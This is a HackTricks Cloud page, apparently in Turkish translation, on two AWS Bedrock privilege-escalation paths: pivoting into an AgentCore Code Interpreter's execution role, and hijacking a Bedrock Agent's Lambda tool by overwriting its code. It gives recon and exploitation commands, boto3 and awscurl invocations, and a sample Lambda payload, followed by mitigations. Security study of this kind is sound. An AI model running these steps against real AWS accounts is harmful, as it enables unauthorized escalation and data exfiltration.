AWS - Bedrock PrivEsc
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Amazon Bedrock AgentCore
bedrock-agentcore:StartCodeInterpreterSession + bedrock-agentcore:InvokeCodeInterpreter - Code Interpreter Execution-Role Pivot
AgentCore Code Interpreter yönetilen bir execution environment’tir. Custom Code Interpreters, code interpreter’ın AWS services’e erişmesi için izinler sağlayan bir executionRoleArn ile yapılandırılabilir.
Eğer düşük yetkili bir IAM principal, daha yetkili bir execution role ile yapılandırılmış bir Code Interpreter session’ını başlatıp + invoke edebiliyorsa, çağıran taraf etkili biçimde execution role’un permissions’larına pivot yapabilir (role scope’una bağlı olarak lateral movement / privilege escalation).
Note
Bu genellikle bir misconfiguration / excessive permissions sorunudur (interpreter execution role’a fazla geniş permissions vermek ve/veya geniş invoke erişimi vermek). AWS, execution role’ların, invoke etmeye izin verilen identity’lerle eşit veya daha az privilege’a sahip olmasını sağlayarak privilege escalation’dan kaçınılmasını açıkça önerir.
Önkoşullar (yaygın misconfiguration)
- Aşırı yetkili bir execution role’a sahip bir custom code interpreter vardır (ör: hassas S3/Secrets/SSM erişimi veya IAM-admin benzeri capability’ler).
- Bir user (developer/auditor/CI identity) şu permissions’a sahiptir:
- session başlatma:
bedrock-agentcore:StartCodeInterpreterSession - araçları invoke etme:
bedrock-agentcore:InvokeCodeInterpreter - (Opsiyonel) User ayrıca interpreter oluşturabilir:
bedrock-agentcore:CreateCodeInterpreter(org guardrail’lerine bağlı olarak, bir execution role ile yapılandırılmış yeni bir interpreter oluşturmasına izin verir).
Recon (custom interpreter’ları ve execution role kullanımını belirle)
Interpreter’ları (control-plane) listele ve configuration’larını incele:
aws bedrock-agentcore-control list-code-interpreters
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
create-code-interpreterkomutu, interpreter’ın hangi AWS permissions’a sahip olacağını tanımlayan--execution-role-arnseçeneğini destekler.
Adım 1 - Bir session başlatın (bu bir sessionId döndürür, interaktif bir shell değil)
SESSION_ID=$(
aws bedrock-agentcore start-code-interpreter-session \
--code-interpreter-identifier <CODE_INTERPRETER_IDENTIFIER> \
--name "arte-oussama" \
--query sessionId \
--output text
)
echo "SessionId: $SESSION_ID"
Adım 2 - code execution çağırın (Boto3 veya signed HTTPS)
start-code-interpreter-session ile interaktif bir python shell yoktur. Execution, InvokeCodeInterpreter üzerinden gerçekleşir.
Seçenek A - Boto3 örneği (Python çalıştır + kimliği doğrula):
import boto3
client = boto3.client("bedrock-agentcore", region_name="<REGION>")
# Execute python inside the Code Interpreter session
resp = client.invoke_code_interpreter(
codeInterpreterIdentifier="<CODE_INTERPRETER_IDENTIFIER>",
sessionId="<SESSION_ID>",
name="executeCode",
arguments={
"language": "python",
"code": "import boto3; print(boto3.client('sts').get_caller_identity())"
}
)
# Response is streamed; print events for visibility
for event in resp.get("stream", []):
print(event)
Eğer interpreter bir execution role ile yapılandırılmışsa, sts:GetCallerIdentity() çıktısı bu role’ün kimliğini yansıtmalıdır (düşük yetkili caller’ı değil), pivot’u göstererek.
Option B - Signed HTTPS call (awscurl):
awscurl -X POST \
"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-H "x-amzn-code-interpreter-session-id: <SESSION_ID>" \
--service bedrock-agentcore \
--region <Region> \
-d '{
"name": "executeCode",
"arguments": {
"language": "python",
"code": "print(\"Hello from AgentCore\")"
}
}'
Etki
- Lateral movement interpreter execution role’un sahip olduğu herhangi bir AWS erişimi içine.
- Privilege escalation eğer interpreter execution role, çağırandan daha yetkiliyse.
- CloudTrail data events interpreter çağrıları için etkin değilse daha zor tespit edilir (invocation’lar varsayılan olarak loglanmayabilir, yapılandırmaya bağlı olarak).
Mitigations / Hardening
- interpreter
executionRoleArnüzerinde least privilege uygula (bunu Lambda execution roles / CI roles gibi değerlendir). - Kimlerin invoke edebileceğini (
bedrock-agentcore:InvokeCodeInterpreter) ve kimlerin session başlatabileceğini kısıtla. InvokeCodeInterpreteriçin, onaylı agent runtime roles hariç deny etmek üzere SCPs kullan (org-level enforcement gerekli olabilir).- Uygun olduğunda AgentCore için uygun CloudTrail data events etkinleştir; beklenmeyen invocation’lar ve session creation için alert üret.
Amazon Bedrock Agents
lambda:UpdateFunctionCode, bedrock:InvokeAgent - Lambda Üzerinden Agent Tool Hijacking
Bedrock Agents, Lambda-backed action groups’ları tool olarak kullanabilir (external execution). Bir principal, bir agent tarafından kullanılan bir Lambda function’un code’unu değiştirebiliyorsa ve ardından agent’i invoke edebiliyorsa, Lambda execution role altında attacker-controlled code çalıştırabilir.
Note
Bu bir cross-service trust abuse’dır (Bedrock → Lambda), vulnerability değil. Attacker Lambda’yı doğrudan invoke edemeyebilir, ancak agent aracılığıyla yine de tetikleyebilir.
Önkoşullar (yaygın misconfiguration)
- Bir Bedrock Agent, Lambda function ile desteklenen bir action group’a sahiptir
- Attacker’ın sahip olduğu:
lambda:UpdateFunctionCodebedrock:InvokeAgent- Lambda execution role, attacker’dan daha geniş permissions’a sahiptir
- Attacker, agent’in kullandığı Lambda’yı tespit edebilir
Recon
Agent action groups’u enumerate et:
aws bedrock-agent list-agents
aws bedrock-agent get-agent --agent-id <AGENT_ID>
aws bedrock-agent list-agent-action-groups --agent-id <AGENT_ID> --agent-version DRAFT
Lambda’yı inceleyin:
aws lambda get-function --function-name <FUNCTION_NAME>
Exploitation
Lambda code’unu değiştirin:
zip payload.zip lambda_function.py
aws lambda update-function-code \
--function-name <FUNCTION_NAME> \
--zip-file fileb://payload.zip
Örnek payload:
import boto3
def lambda_handler(event, context):
return boto3.client("sts").get_caller_identity()
Agent üzerinden tetikle:
aws bedrock-agent-runtime invoke-agent \
--agent-id <AGENT_ID> \
--agent-alias-id <ALIAS_ID> \
--session-id test \
--input-text "trigger tool"
Impact
- Privilege escalation into Lambda execution role
- Data exfiltration from AWS services
- Cross-service abuse via trusted agent execution
Mitigations
- Restrict
lambda:UpdateFunctionCode - Use least-privilege Lambda roles
- Monitor Lambda code changes
- Audit Bedrock agent tool usage
References
- Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)
- Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)
- AWS CLI: create-code-interpreter (
--execution-role-arn) - AWS CLI: start-code-interpreter-session (returns
sessionId) - AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)
- AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)
- SoftwareSecured: AWS Privilege Escalation Techniques (Bedrock agent tool hijacking)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

